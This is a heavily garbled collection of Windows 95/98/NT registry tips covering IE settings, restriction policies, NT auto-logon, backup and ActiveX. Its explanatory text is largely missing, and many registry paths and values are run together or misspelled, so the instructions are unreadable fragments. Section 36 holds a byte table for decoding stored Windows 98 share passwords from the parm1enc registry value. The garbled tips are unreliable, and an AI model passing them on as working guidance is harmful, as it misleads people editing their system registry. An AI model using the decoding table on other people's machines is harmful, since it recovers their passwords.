MicrosoftWord 97Word.exeWord 97C:\ProgramFiles

\MicrosoftOffice\Office\HKEY_LOCAL_MACHINE\Software\Microsoft

\Windows\CurrentVersion\AppPathsWord.exeC:\ProgramFiles\MicrosoftOffice\OfficeWinword.exe

38

WindowsWin 98

Win 98*.CABD:\Backup\PWin98

HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionSetup

SourcePathD:\Backup\PWin98\ Win98D:

\Backup\PWin98\MMX233D DiskDSourcePath\\MMX233\DiskD\BackupPWin98\Windows

39IE

HKEY_LOCAL_MACHINE\SoftwareMicrosoft\Windows \Currentversion\Policies\RatingsIE

Internet?

keyIE

.

40Windows

QUAKEWindows

WindwosHKEY_LOCAL_MACHINE\System

\CurrentControlSet\control\Nls\Locale0000080400000409.

41IE

HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Internet Explorer\Main

Window Title(.

42DLL

WIN98SystemDLLSystem

DLL

1REGEDIT

2

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SharedDLLs

SharedDLLsDLLDLL00 00

00 000x00000001 1

3System

43

.LNK.PIFMSDOS

1HKEY_CLASSES_ROOT\lnkfile

2lnkfileIsShortcut.LNK

IsShortcut

3Win98

MSDOS.PIFHKEY_CLASSES_ROOT\piffile

26win9X

Windows 95MicrosoftWindowsREGISTRYWindows NTWindows 95Windows 98WindowsWindowsWindowsWindowsWindows

Windows 98DOSScanreg/Restore () ,Windows,.(Windows,System.datSystem.da0,User.datUser.da0,Windows,.)

"".REG. WindowsOther\Misc\ERU\ERU.EXE(Emergency Recovery Utility). sysytem.iniwin.inimsodos.sysSystem.datERU,AC\ERDDOSC:\erdERD,

r eax,0)......

windowswindows2human.ini

windowsghostwindows

windowsdosxcopyxcopy c:\windows\*.* c:\winbak/s/e/h/k/y/c,xcopy/winbakwindowsdosdosxcopyxcopy32h

windowsctrl+A)windowsWIN386.SWPwindowsWIN386.SWPCTRLwidnowsWIN386.SWPdosren CERUDOSRENren windows win,ren winbak windowswinbak

windowswindowsghost

regedit

windowswindows

?

1.HKEY_USERS

HKEY_USERS HKEY_USERS

2.HKEY_CURRENT_USER

, ( ) Windows?8 HKEY_USERS HKEY_CURRENT_USER

3.HKEY_CURRENT_CONFIG

( ) , MRU Windows?8

4.HKEY_CLASSES_ROOT

ole hkey_local_machine\software\classes Windows?8 ,

5.HKEY_LOCAL_MACHINE

, SYSTEM.DAT , HKEY_LOCAL_MACHINE ,

System.ini

6.HKEY_DYN_DATA

1.

255 9 D:\pwin98\trident a ba MRUList Win.ini Ssyt-em.ini INI

2.

10 ? 10 Wizard 80?0?0?0 11 ASCII

3.DWORD

DWORD 32 4 DWORD 12 DWORD 16

,:

Win9X,;

,;

,;

;

.

27Win98

Win98Win98Win95Win95Win95 Win98Win98

Cache

40Win984CD-ROMCache

Cache 32MB 64MB128MB

HKEY_LOCAL_MACHINE\System\CurrentControlSet

\control\FileSystem\CDFSCacheSizePrefetchWin98 0000026b000000e4

CacheSize DWORD

0000026b

000004d6

000009ac

Prefetch DWORD

4x 000000e4

8x 000001c0

16x 00000380

24x 00000540

32x 00000700

32 CDFS Win98 32 Win98 Cache 32 32

SCANREG.EXE SCANREGW.EXE Win98 Win98 system.datuser.datwin.inisystem.iniCAB Win98 SYSBCKUP 500K

HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\Current

Version\RunScanRegistryC:\Windows\Scanregw.exe /autorunWin98 SCANREG.INIBackup=1 Backup=0

Win98 Win98 MicrosoftWin98

HKEY_LOCAL_MACHINE\ Software\Microsoft

\DriverSigningPolicy010201102212

IE4

Win98 IE4 IE hotmail IE4 www.hotmail.comHKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Internet Explorer\Main\UrlTemplate%s www.%s.com.cn

Win98Ctrl + FHKEY_LOCAL_MACHINESoftware\ Microsoft\Windows\CurrentVersion\App Paths App Path

HKEY_LOCAL_MACHINE\System\ CurrentControlSetcontrol\FileSystemContigFileAllocSizeDWORDContigFileAllocSize0x000001F4500

HKEY_CURRENT_USER\ Control Panel\desktopCursorBlinkRateCursorBlinkRate-1OK

Win98 HKEY_CURRENT_USER\AppEventsSchemes\AppsApps.Default

Apps OpenCloseOpenClose

AppGPFault

Default

Maximize

MenuCommand

MenuPopup

Minimize

RestoreDown

RestoreUp

SystemExclamation

SystemQuestion

HKEY_LOCAL_MACHINE\config\0001\ Display\settingsfixedfon.fon vgafix.fonTTF fon

?BR>HKEY_CURRENT_USER\ Software\MicrosoftWindows\CurrentVersion\ Policies\ExplorerNoLogOff01 00 00 00

DWORDNoFavoritesMenu1

NoRecentDocsHistory01 00 00 00

28WinNT

--Windows NTCtrl + Alt + DeleteWindows NTWindows NT

--1*regedit.exe

--2HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftWindowsNT\CurrentVersion\Winlogon

--3AutoAdminLogon1

--4DefaultDomainNameDomainMycomputer

--5DefaultUserNameAdministrator

--6**DefaultPassword

--7

--AutoAdminLogon0

--Ctrl+A1t+Delete

--11

--22

--3LegalNoticeCaption

--4LegalNoticeText

--5

--Ctrl+Alt+DeleteWindows NT

--11

--22

--3ShutdownWithoutLogonl

--4

--

29Follow Me

,?,?

?,",,!(,,)

,,",!

ABC

A ,Windows

3.x,INI,Windows9x,,,Windows9x,Config.sys,Autoexec.bat,System.ini,Win.iniProtocol.ini!

B

,,,::System.datUser.dat,;,CWindows,,System.da0User.da0(.da),CWindows,Windows 98,C:\Windows\Bak,,,,Regedit"

,"ScanRegistry,Scanreg.exe,cab,C:\Windows\sysbckup,rb00x.cab()

C

""HKEY":,";,,():

(1)HKEY_CLASSES_ROOT:,

(2)HKEY_CURRENT_USER:,HKEY_USERS\.Default,

(3)HKEY_LOCAL_MACHINE:(),

(4)HKEY_USERS:,HKEY_CURRENT_USER,

(5)HKEY_CURRENT_CONFIG:,HKEY_LOCAL_MACHINE\Config

(6)HKEYDYN4DATA:,

,Windows,System.datUser.dat,,,()

30

:[HKEY_CURRENT_USER\Control Panel\Desktop]

1:"PaintDesktopVersion"="1" or "0"

: Win98

2:"MenuShowDelay"="0"

:

:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]

1:"NoActiveDesktop"=hex:01, 00,00,00

: (Active Desktop)

2:"NoSaveSettings"=hex:01,00,00,00

: Windows

3: "Nodesktop"=hex:01,00,00,00

:

4:"NoStartBanner"=hex:01,00,00,00

:""

:[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorerDesktop\NameSpace]

{450d8fba-ad25-11d0-98a8-0800361b1103}

:""

{645FF040-5081-101B-9F08-00AA002F954E}

:""

{208D2C60-3AEA-1069-A2D7-08002B30309D}

:""

:[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder]

1:"Attributes"=hex:50,01,00,20

:""

:[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\InProcServer32]

1:""="shell32.dll-" :

:[HKEY_CLASSES_ROOT\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}\InProcServer32]

1:""="shell32.dll-" :

:[HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\InProcServer32]

1:""="shell32.dll-" :

:[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32]

1:""="shell32.dll-" :

:[HKEY_CURRENT_USER\Control Panel\Colors]

1:"Bottontext"="RRGGBB"(RGB) :

:[HKEY_CURRENT_USER\Control Panel\Desktop]

1:"MenuDropAlignment"="0""1"

:(0;1)

31

:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies

\System]

1:"NoSecCPL"=dword:00000001 :""

2:"NoDispCPL"=dword:00000001 :""

3:"NoDispBackgroundPage"=dword:00000001

:""""

4:"NoDispScrSavPage"=dword:00000001

:""""

5:"NoDispAppearancePage"=dword:00000001

:""""

6:"NoDispSettingsPage"=dword:00000001

:"""","Web"""

7:"NoDevMgrPage"=dword:00000001

:""""

8:"NoConfigPage"=dword:00000001

:""""

9:"NoVirtMemPage"=dword:00000001

:""""""

10:"NoFileSysPage"=dword:00000001

:""""""

:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network]

1:"NoNetSetup"=dword:00000001 :""

2:"NoNetSetupIDPage"=dword:00000001

:""""

3:"NoNetSetupSecurityPage"=dword:00000001

:""""

4:"NoWorkgroupContents"=dword:00000001

:""""

5:"NoEntireNetwork"=dword:00000001

:""""

6:"NoFileSharingControl"=dword:00000001

:"""

32

:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\PoliciesExplorer]

1"NoRecentDocsMenu"=hex:01,00,00,00

(Documents)

2"ClearRecentDocsonExit"=hex:01,00,00,00

3NoRecentDocsHistory=hex:01,00,00,00

4NoFind=hex:01,00,00,00

(Find)

5NoRun=hex:01,00,00,00

(Run)

6NoLogOff=hex:01,00,00,00

(LogOff)

7NoClose=hex:01,00,00,00

(ShutDown)

8NoSetFolders=Hex:01,00,00,00

(Setting)

9NoFavoritesMenu=hex:01,00,00,00

(Favorite)

10NoStartBanner=hex:01,00,00,00

""

11"NoSetTaskbar"=hex:01,00,00,00

(Setting)

:[HKEY_CLASSES_ROOT\Directory\shell\find\ddeexec]

="[FindFolder("", )]" :""

:[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Shell Icons]

"19"="c:\icon\icon1.ico"()

"43"="c:\icon\icon2.ico"








6();8();11();...

windows ShellIconCache()

33

:[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem\CDFS]

1:"Prefetch"=dword:000000e4()

: CDROMCDROM.

:(CDROM,:VCDVCD,)

4:000000e4()

8:000001c0

16:00000380

24:00000540

32:00000700

36:00000750

40:00000800

48:00000800

2: "CacheSize"=dword:0000026b()

:CDROM

0000026b()

000004d6()

000009ac()

:[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\fdc\0000]

1:"ForceFIFO"=dword:00000001

:

:[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem]

1:"ConfigFileAllocSize"=dword:000001f4

:

34Windows

windowswindows

CLSID

WindowsWindowsWindowsWindowssystem.datuser.datsystem.da0user.da0Windowsregedit.exewindowswin95win.inisystem.ini.ini.

windowssystem.iniwin.inisystem.iniwin.ini.ini.iniwin.inisystem.ini.INIExcelexcel.iniExcelsystem.iniwin.iniexcel.ini

system.iniwin.iniwindows.ini.ini.inisystem.iniwin.ini.ini64KB.iniiniwin.inisystem.ini.ini.iniWIN.INI

32.3240MB

Windows NTWindows9532/3216WinntBIOSWin9516system.ini16NTWin95 win.inisystem.ini

32BIOSBIOS

32

Win95Winnt .ini.ini

32WinntWin95

Windows

Winnt

DEFAULTSAMSECURITYSOFTWARESYSTEMNTUSER.DAT

Win95windowsSYSTEM.DATNTWin95NTWin95NT

Win95windowsuser.dat||\WINDOWS

\Profiles\username\USER.DATuser.datUSER.DAT

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_DYN_DATA

HKEY_USERS

HKEY_CURRENT_USER

WinntWin95Win95Winnt32

HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_LOCAL_MACHINEHKEY_CURRENT_USERHKEY_USERS

HKEY_LOCAL_MACHINEHKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIGHKEY_CURRENT_CONFIGHKEY_CLASSES_ROOT

HKEY_CLASSES_ROOTHKEY_LOCAL_MACHINESOFTWARE\ClassesHKEY_CLASSES_ROOT

HKEY_USERSHKEY_CURRENT_USERHKEY_CURRENT_USER

Exploer+-

windowsHKEY_LOCAL_MACHINEWindows NTExplorerWin95

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOT

;

;

ID;

DDEOLE;

;

HKEY_CURRENT_CONFIG.

HKEY_CURRENT_CONFIGHKEY_LOCAL_MACHINE|||HKEY_LOCAL_MACHINEWin95WinntHKEY_CURRENT_CONFIG

HKEY_DYN_DATA

HKEY_DYN_DATAWin95HKEY_DYN_DATAWin95Win951600Win95

HKEY_USERS

HKEY_USERS

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINEHKLM

HKEY_LOCAL_MACHINE\AppEvents

/Win95/98AppEvents

HKEY_LOCAL_MACHINE\Config

HKCC000100020001

HKEY_LOCAL_MACHINE\Config\0001\Display

Windows(regedit.exeResolution640,480800,600

HKEY_LOCAL_MACHINE\Config\0001\System

HKEY_LOCAL_MACHINEConfig\0001\System\CurrentControlSet\Control\Print

\Printers

HKEY_LOCAL_MACHINE\Enum

EnumWin95.iniBIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, VIRTUAL

HKEY_LOCAL_MACHINE\Enum\BIOS

BIOS*pnp0400LPT1LPT1EnumRoot

HKEY_LOCAL_MACHINE\Enum\Root

RootSCSIWin95ForcedConfig

HKEY_LOCAL_MACHINE\Enum\Network

win95

HKEY_LOCAL_MACHINE\HARDWARE

hardwareDESCRIPTIONcomhardware

HKEY_LOCAL_MACHINE\Network

HKEY_LOCAL_MACHINE\Enum\Networklogonlmlogon0=false 1=truelogonvalidatedWindows

HKEY_LOCAL_MACHINE\SECURITY

security NT

HKEY_LOCAL_MACHINE\SOFTWARE

32.ini

\Microsoft\Windows\Current Version

1.App paths 32

2.Applets, Compression, Controls Folder :

3.Detect, explorer :Namespace keys of DesktopMy Computer----CLSID----

4.Extensions :

5.Fonts, fontsize, FS Templates :

6.MS-DOS Emulation :

7.MS-DOS Options :doshimem.syscd-roms

8.Network :

9.Nls, Policies :

10.ProfileList :

11.WindowsHKEY_LOCAL_MACHINE\Microsoft

\Windows\CurrentVersion\

Run :

RunOnce : windows

RunServices : RunVXDs,McAfeeRegServ

RunServicesOnce : windows:win95windows

Runwindows

12.SharedDLLsDLL

13.Shell Extensions:OLECLSID

14.ShellScrap :PriorityCacheFormatsSmartDrive

15.Time Zones :

16.Uninstall/.......winlogon

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet

windows ntwin95

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

win95

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

win95


\Arbitrators

arbitratorsDMAI/OIRQ


\Class

classwin95classes

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servicesinetaccs

ieie20

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesMSNP32

msnp32microsoft

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesNWNP32

nenp32windowsnetware

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesRemoteAccess

win95

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesSNMP

snmp

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesVxD

vxdwin9532win95vxds

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesWebPost

webpostinternetisp

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesWinsock

internetwinnsockinternet

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesWinTrust

wintrustInternet

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOTWin95WinntHKEY_CLASSES_ROOT

HKEY_CLASSES_ROOTWin95WinntHKEY_CLASSES_ROOTHKEY_LOCAL_

MACHINE\Software\ClassesHKEY-

CLASSES_ROOT

Windows-------HKCRHKCR

Win95HKCR

HKCR

\???

\object

CLSID

\CLSID

WindowsCLSIDCLSID

Excel 7Word 7WordExcelExcelExcel 7ExcelCLSIDWordCLSIDCLSID.DLL

CLSIDOLEDDECLSIDCLSID---3216/OLE.dll

1)shell:Shellactionopencommandcommandopenshellopenopencommand"C:\Windows \Notepad.exe %1")View,Print,Copy,Virus,Scan

2)shellex:ShellexOLEDDECLSIDCLSID.dll

3)shellnew:ShellNewcommand

4)DefaultIcon:DefaultIcondefault"C:\Windows \System \shell32.dll,2" 20Shell32.dll

HKEY_CLASSES_ROOTnt

HKEY_CLASSES_ROOTHKEY_CLASSES_ROOTSYSTEM.INI WIN.INI

HKEY_CURRENT_CONFIG

win95HKEY_LOCAL_MACHINE\ConfigHKEY_LOCAL_MACHINE\ConfigHKEY_LOCAL_MACHINE

.HKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG00020002

HKEY_CURRENT_CONFIG HKEY_LOCAL_MACHINE

HKEY_DYN_DATA

HKEY_DYN_DATAWin95

HKEY_DYN_DATAPCMCIA

Config Manager

Win95HKEY_CURRENT_CONFIG

Enum

PerfStats

Security

HKEY_USERS

HKEY_USERSwin95nt

win95user.datwinntntuser.dat.dat

HKEY_USERS\.DEFAULT

HKEY_USERS\.DEFAULT\AppEvents

HKEY_USERS\.DEFAULT\AppEvents\Schemes

HKEY_USERS\.DEFAULT\Console

MS-DOS

HKEY_USERS\.DEFAULT\Control Panel

HKEY_USERS\.DEFAULT\Control Panel\Accessibility

HKEY_USERS\.DEFAULT\Control Panel\Appearance

HKEY_USERS\.DEFAULT\Control Panel\Appearance\Schemes

HKEY_USERS\.DEFAULT\Control Panel\Colors

WindowsRGB0 0 0000255 255 255RGB

HKEY_USERS\.DEFAULT\Control Panel\Sound

HKEY_USERS\.DEFAULT\Environment

HKEY_USERS\.DEFAULT\Keyboard Layout

HKEY_USERS\.DEFAULT\Software

HKEY_USERS\.DEFAULT\Software\Microsoft

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows

windowswindows ntwin95

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows NT

nt windows nt

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows NTCurrentVersion\Winlogon

windows nt

HKEY_USERS\.DEFAULT\UNICODE Program Groups

unicodeexplorer

S-1-5-21-1658001358-1336221227-1912232085-500 (SID)

HKEY_USERS\S-1-5-21-1658001358-1336221227-1912232085-500

sidsidsidntuser.dat

HKEY_USERS\SID\Network

H: \\server1\docs

HKEY_USERS\SID\Printers

HKEY_USERS\SID\Software

HKEY_USERSsidntuser.dat

HKEY_CURRENT_USER

HKEY_CURRENT_USERHKEY_USERSHKEY_CURRENT_USERHKEY_USERS

HKEY_CURRENT_USERSID

(

,

/

:

1

1

2bug

3Win95Winnt

4SETUP.INFSETUP.INF

5TIF

6/

7ID

2

1

2

3UPS

4

3

1

2

Windows

Windows:

1windows

:Win95Win98Win98

Win98Win98/ | | | |

windows || windows

2

Win95Win95,SYSTEM.DAT USER.DAT

Starting Windows 95...F8SYSTEM.DAT USER.DAT

3

CFGBACK.EXEWin95Win98Win95CD-ROM\Other\Misc\CFGBACKCFGBACK.EXE

CFGBACK

CFGBACKCFGBACK

4

REGEDIT.EXE

|.REG

pkzipDos

windowsCDCD/

DOSmar99.reg.

REGEDIT /C MAR99.REG

mar99.reg

:Win98Scanreg.exewindows Scanreg /fix

.reg.regREGEDIT.EXE

Windows

Restart

Redetect

Restore

Reinstall

Restart

Win95RAMRAM

IDIDIDID

Windows

Redetect the Devices

Win95

WindowsWin95

Restore

CFGBACK

CFGBACK

.REG.REGREGEDIT.EXE

Reinstall

Win95

WindowsSYSTEM.1STWindowssystem.datwindowsdosSYSTEM.DATwindows

.INI,.DLL50%IE4.0system.1stDll

35

CtrlAltDelWindowsExploreWindows

36Windows98

LAN

HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\CurrentVersion\Network\LanMan

parm1enc ()

parmienc "74d80e"

"74 d8 0e"

a[1] = 74, b[2] = d8, and c[3] = 0e

ABC

A =74 =db =0c =e7 =12 =e8 =95 =2b

B =77 =d8 =0f =e4 =11 =eb =96 =28

C =76 =d9 =0e =e5 =10 =ea =97 =29

D =71 =de =09 =e2 =17 =ed =90 =2e

E =70 =df =08 =e3 =16 =ec =91 =2f

F =73 =dc =0b =e0 =15 =ef =92 =2c

G =72 =dd =0a =e1 =14 =ee =93 =2d

H =7d =d2 =05 =ee =1b =e1 =9c =22

I =7c =d3 =04 =ef =1a =e0 =9d =23

J =7f =d0 =07 =ec =19 =e3 =9e =20

K =7e =d1 =06 =ed =18 =e2 =9f =21

L =79 =d6 =01 =ea =1f =e5 =98 =26

M =78 =d7 =00 =eb =1e =e4 =99 =27

N =7b =d4 =03 =e8 =1d =e7 =9a =24

O =7a =d5 =02 =e9 =1c =e6 =9b =25

P =65 =ca =1d =f6 =03 =f9 =84 =3a

Q =64 =cb =1c =f7 =02 =f8 =85 =3b

R =67 =c8 =1f =f4 =01 =fb =86 =38

S =66 =c9 =1e =f5 =00 =fa =87 =39

T =61 =ce =19 =f2 =07 =fd =80 =3e

U =60 =cf =18 =f3 =06 =fc =81 =3f

V =63 =cc =1b =f0 =05 =ff =82 =3c

W =62 =cd =1a =f1 =04 =fe =83 =3d

X =6d =c2 =15 =fe =0b =f1 =8c =32

Y =6c =c3 =14 =ff =0a =f0 =8d =33

Z =6f =c0 =17 =fc =09 =f3 =8e =30

space =15 =ba =6d =86 =73 =89 =f4 =4a

1 =04 =ab =7c =97 =62 =98 =e5 =5b

2 =07 =a8 =7f =94 =61 =9b =e6 =58

3 =06 =a9 =7e =95 =60 =9a =e7 =59

4 =01 =ae =79 =92 =67 =9d =e0 =5e

5 =00 =af =78 =93 =66 =9c =e1 =5f

6 =03 =ac =7b =90 =65 =9f =e2 =5c

7 =02 =ad =7a =91 =64 =9e =e3 =5d

8 =0d =a2 =75 =9e =6b =91 =ec =52

9 =0c =a3 =74 =9f =6a =90 =ed =53

0 =05 =aa =7d =96 =63 =99 =e4 =5a

~ =4b =e4 =33 =d8 =2d =d7 =aa =14

` =55 =fa =2d =c6 =33 =c9 =b4 =0a

! =14 =bb =6c =87 =72 =88 =f5 =4b

@ =75 =da =0d =e6 =13 =e9 =94 =2a

# =16 =b9 =6e =85 =70 =8a =f7 =49

$ =11 =be =69 =82 =77 =8d =f0 =4e

% =10 =bf =68 =83 =76 =8c =f1 =4f

^ =6b =c4 =13 =f8 =0d =f7 =8a =34

& =13 =bc =6b =80 =75 =8f =f2 =4c

* =1f =b0 =67 =8c =79 =83 =fe =40

( =1d =b2 =65 =8e =7b =81 =fc =42

) =1c =b3 =64 =8f =7a =80 =fd =43

- =18 =b7 =60 =8b =7e =84 =f9 =47

_ =6a =c5 =12 =f9 =0c =f6 =8b =35

+ =1e =b1 =66 =8d =78 =82 =ff =41

= =08 =a7 =70 =9b =6e =94 =e9 =57

[ =6e =c1 =16 =fd =08 =f2 =8f =31

] =68 =c7 =10 =fb =0e =f4 =89 =37

{ =4e =e1 =36 =dd =28 =d2 =af =11

} =48 =e7 =30 =db =2e =d4 =a9 =17

; =0e =a1 =76 =9d =68 =92 =ef =51

: =0f =a0 =77 =9c =69 =93 =ee =50

' =12 =bd =6a =81 =74 =8e =f3 =4d

" =17 =b8 =6f =84 =71 =8b =f6 =48

, =19 =b6 =61 =8a =7f =85 =f8 =46

< =09 =a6 =71 =9a =6f =95 =e8 =56

. =1b =b4 =63 =88 =7d =87 =fa =44

> =0b =a4 =73 =98 =6d =97 =ea =54

? =0a =a5 =72 =99 =6c =96 =eb =55

/ =1a =b5 =62 =89 =7c =86 =fb =45

\ =69 =c6 =11 =fa =0f =f5 =88 =36

| =49 =e6 =31 =da =2f =d5 =a8 =16

37

[HKEY_LOCAL_MACHINE\SystemCurrentControlSet\Services\NWNP32\NetworkProvider]AuthenticatingAgent

[HKEY_LOCAL_MACHINE\SystemCurrentControlSet\Services\NWNP32\NetworkProvider]DWOREDisableDefaultPasswords1=0=

[HKEY_LOCAL_MACHINE\Network

\Logon]DWORDDomain Logon

Message,(0=1=)

HEKY_CURRENT_USER/Network/RecentRecent\ierl_server

\softwareierl_serversoftwareHEKY_CURRENT_USERNetworkRecent,Recent

IE4.0

IE4.0InternetActiveXIE4.0

HKEY_LOCAL_MACHINE\SOFTWARE\MicrosoftWindows\CurrentVersion\PoliciesPoliciesRatingsDelRatingsKeyIE4.0

Netscape

NetscapeAddress

Netscape 3.xHKEY_CURRENT_USER\Software\Netscape\NetscapeNavigator\URLHistoryDel

Netscape 4.xC:\Program

Files\Netscape\Users\caogjwj\prefs.jszys666user_prefbrowser.url_history.URL_2"

http://pcworld.com.cn/";

Netscape 4.xprefs.js

IP

IPIPHKEY_LOCAL_MACHINE\System\Cu rrentControlSet\Services\Class\NetTrans000000010002DriverDescTCP/IPIPAddressIPMaskIPAddressIPI PMaskIPAddress210.73.140.3210.73.140.5IPMask255.255.255.192255.255.255.192IP210.73.140.3210.73.140.5

WindowsMaxMTUMaxSSSDefaultRcvWindowDefaultTTL

a.MaxMTUMaxSSSHKEY_LOCAL_MACHINE\System\Current

Control Set\Services\Class\NetTrans\000nn0002***nWindowsDeviceVxDsIpAddressMaxMTU576MaxSSS536

b.DefaultRcvWindowDefaultTTLHKEY_LOCAL_MACHINE\System\Current Control Set\Services\VxD\MSTCPDefaultRcvWindow2144DefaultTTL60646064Win95

IE5.0

HKEY_LOCAL_MACHINE\SoftwareMicrosoft\InternetExplorer\SearchCustomizeSearchSearchAssistanthttp://www.yeah.net/IE5.0

/HKEY_LOCAL_MACHINE\SoftwareMicrosoft\Windows\CurrentVersion\Network\RealModeNetAutoLogon

IE

IEWebURLabout:xxxxxxxabouthttpftpmailtogopherIEURLabout:blankblank

HKEY_LOCAL_MACHINE\SoftwareMicrosoft\InternetExplorer\AboutURLs#1http://

Web

URL

NetscapHKEY_LOCAL_MACHINE\Software\Netscape\Netscape

NavigatorURL

IEHKEY_CURRENT_USERSoftware\Microsoft\InternetExplorer\TypedURLsURL

Outlook Express

Outlook ExpressHKEY_CURRENT_USER\Identities\{4C44D002-7BCF-11D3-9957-AB53DA238B0C}\Software\Microsoft\Outlook

Express\5.0Store Root

IE4.0

www..comIE.comwww..com.cnIE.cn

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet

Explorer\Main\UrlTemplatewww..%s.com.cn

38IE

IE5HTML

HKEY_CURRENT_USER\Software\Microsoft\Internet ExplorerDefault HTML Editor\shell\edit\command

DreamWeaver%1

"c:\program files\macromedia\ dreamweaver 2

\dreamweaver.exe %1"IE5HTML

IE

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer Version

Internet ExplorerHKEY_LOCAL_MACHINE

\Software\Microsoft\Internet Explorer\Main windowTitleXX

IE

HKEY_CURRENT_USER\ Software\ Microsoft\ Internet ExplorerTypedURLs

URL

HKEY_CURRENT_USER\Software\Microsoft\InternetExplorerTypedURLs url1url2url3......URL,url URL

IE4.0

IE4.0InternetActiveXIE4.0

HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\WindowsCurrentVersion\PoliciesPoliciesRatingsDelRatingsKeyIE4.0 IE

HKEY_LOCAL_MACHINE\Software\Microsoft\Internet

Explorer\Main\UrlTemplate IE1,2,3,4....12 34...,

HKEY_USERS\.DEFAULT\Software\Microsoft\Internet

Explorer DWORDDownload Directory,,C:\My Documents

Outlook Express

Outlook Express

HKEY_CURRENT_USER\Identities{4C44D002-7BCF-11D3-9957-AB53DA238B0C}\Software\Microsoft\Outlook Express\5.0 windowTitleXX{ }

Outlook Express

HKEY_CURRENT_USER\Identities{4C44D002-7BCF-11D3-9957-AB53DA238B0C}\Software\Microsoft\Outlook Express\5.0 Store Root

39ActiveX

InternetWEBMicrosoftActiveXActiveXWEBVisual C++Visual BasicActiveXWEBActiveX

1. ActiveX

1.1. ActiveX

ActiveXMicrosoftCOMComponent Object ModelInternetActiveXWEBActiveX

1.2. ActiveX

ActiveX

ActiveXActiveX ControlWEBMicrosoft WordActiveXContainerCOM

ActiveXActiveX DocumentWEB BrowserActiveXHTMLMicrosoft WordMicrosoft Excel

ActiveXActiveX ScriptingActiveXJava

ActiveXActiveX Server FrameworkWEBHTML

Internet ExplorerJavaJava Virtual MachineJava AppletInternet ExplorerActiveX

1.3. ActiveXJava

ActiveXJavaJavaAppletActiveXActiveXActiveXJavaJavaActiveXCode Signing

1.4. Internet ExplorerNetscape Navigator

MicrosoftInternet ExplorerActiveXMicrosoftNetscape Navigator? Plug-InNavigatorActiveXWEB

2. ActiveXInternet

ActiveXOLEControlComponentActiveXCOMInternetWEBScriptPropertyMethodEvent

ActiveXOLEActiveXIUnknown

ActiveXInternet1000ActiveXWINDOWSSYSTEMWindowActiveXMicrosoft Visual C++VCMFCMicrosoft Foundation ClassesActiveX

InternetInternetActiveX

Persist Data

Internet

3. ActiveXInternet

ActiveXActiveXActiveXFull Frame

Microsoft Office97Microsoft Office BinderMicrosoft WordMicrosoft ExcelActiveX ActiveXWEBWEB

4. ActiveX

VBScriptMicrosoft JScriptWebActiveXWEB

5. ActiveX

WEBWEBMFCISAPIWEB

6. Visual C++ 5.0ActiveX

VC++ 5.0Internet

MFCATLActiveXActiveX

ISAPIWEB

WinInet Internet

Asynchronous MonikersInternet

ActiveX SDKInternetWin32ActiveX Scripting HostMicrosoft WebConferencing

6.1. VC5.0ActiveX

VC++5.0ActiveXMFCATLActive Template LibraryMFCActiveXMFCDLLATLMFCCOMOLEMFCActiveXInternet Explorer 3.0MFC 4.1Internet Explorer 3.0Windows95ActiveXMFC 4.1MFC

MFCActiveXMFC ActiveX Control WizardVCMyName

CMyNameAppCOleControlModuleCOleControlModuleCWinApp

CMyNameCtrlCOleControlCOleControlCWnd

CMyNamePropPageCOlePropertyPageCOlePropPageCDialog

MFCCMyNameCtrlClass Wizard

OCXVCActiveX Test ContainerOLE/COM Object Viewer

6.2. ActiveXWEB

